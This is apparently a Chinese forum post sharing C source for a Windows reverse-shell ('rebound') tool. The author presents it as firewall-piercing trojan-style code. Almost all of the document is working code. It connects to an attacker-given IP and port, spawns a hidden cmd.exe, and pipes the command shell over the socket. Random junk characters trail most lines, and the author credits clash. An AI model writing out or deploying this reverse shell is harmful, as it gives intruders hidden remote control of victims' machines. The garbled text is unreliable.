这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AA|G&&1y
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/* ============================== \ 511?ik
Rebound port in Windows NT k fOd|-
By wind,2006/7 vKbGG
===============================*/ :d<F7`k
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#include Ov:U3P?%
#include 6XhS
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#pragma comment(lib,"wsock32.lib") O St~P^1
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void OutputShell(); g>?,,y6/w
SOCKET sClient; &fxyY(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sBN4:8
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void main(int argc,char **argv) L@ N\8mf
{ NUY sQO)
WSADATA stWsaData; I7#+B1t
int nRet; A{hST~s
SOCKADDR_IN stSaiClient,stSaiServer; }N3Ur~X\
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if(argc != 3) "y .(E7 6
{ "X1{*
printf("Useage:\n\rRebound DestIP DestPort\n"); /h!iLun7I
return; v Dph}Z
} bsWDjV~
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WSAStartup(MAKEWORD(2,2),&stWsaData); M)nf(jw#G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 44h z,
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stSaiClient.sin_family = AF_INET; rYA4(rYq
stSaiClient.sin_port = htons(0); xe1xP@e?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m,]h7 xx
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W-"FRTI4
{ P4"EvdV7
printf("Bind Socket Failed!\n"); }'TZ)=t{J
return; '$CJZ`nt
} {uO2m*JrI
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stSaiServer.sin_family = AF_INET; 'l'[U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (Bfy
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1'J|yq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "j+=py`
{ ~ @s$
printf("Connect Error!"); *j|BSd
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return; 8:UV; 5@
} <7~+ehu
OutputShell(); 2fJ2o[v
} S|v-lJ/I
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void OutputShell() CbRl/ 68HY
{ 852Bh'u_
char szBuff[1024]; Qte'f+
SECURITY_ATTRIBUTES stSecurityAttributes; kF *^" Cn
OSVERSIONINFO stOsversionInfo; Kd,7x'h`E
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BBm;QOBU
STARTUPINFO stStartupInfo; r \]iw v
char *szShell; wkZ}o,{*:
PROCESS_INFORMATION stProcessInformation; 6t6#<ts
unsigned long lBytesRead; !Zf)N_k
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KbF,jm5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !xh.S#B
stSecurityAttributes.lpSecurityDescriptor = 0; ur`:wR] 2?
stSecurityAttributes.bInheritHandle = TRUE; 2f@gR9T
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,a,coeL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fqU*y 6]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7L&=z$U@m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Pe0zx.Ge
stStartupInfo.wShowWindow = SW_HIDE; {oN7I'>
stStartupInfo.hStdInput = hReadPipe; i5 0^%,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8MPXrc,9-
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) vSy#[9}
{ B?J#NFUb
case 1: y"SVZ} ;|
szShell = "command.com"; h"G#} C]
break; u($y<Q)=
default: K%A:W
szShell = "cmd.exe"; hK&/A+*
break; <$'OSN`!
} GoNX\^A
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "+V.Yue`R
f=Rx8I
send(sClient,szMsg,77,0); n +z5;'my
while(1) vrD]o1F
{ $fA%_T_P'P
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (1(dL_?
if(lBytesRead) a:tCdnK/
{ 7a}vb@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iWZrZ5l
send(sClient,szBuff,lBytesRead,0); kMz^37IFMG
} Q}M%
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else r0)X]l7
{ ga~C?H,K
lBytesRead=recv(sClient,szBuff,1024,0); }?=$?3W
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wh@;$s"B
} SablF2doa
} BV X6
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return; ;X
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}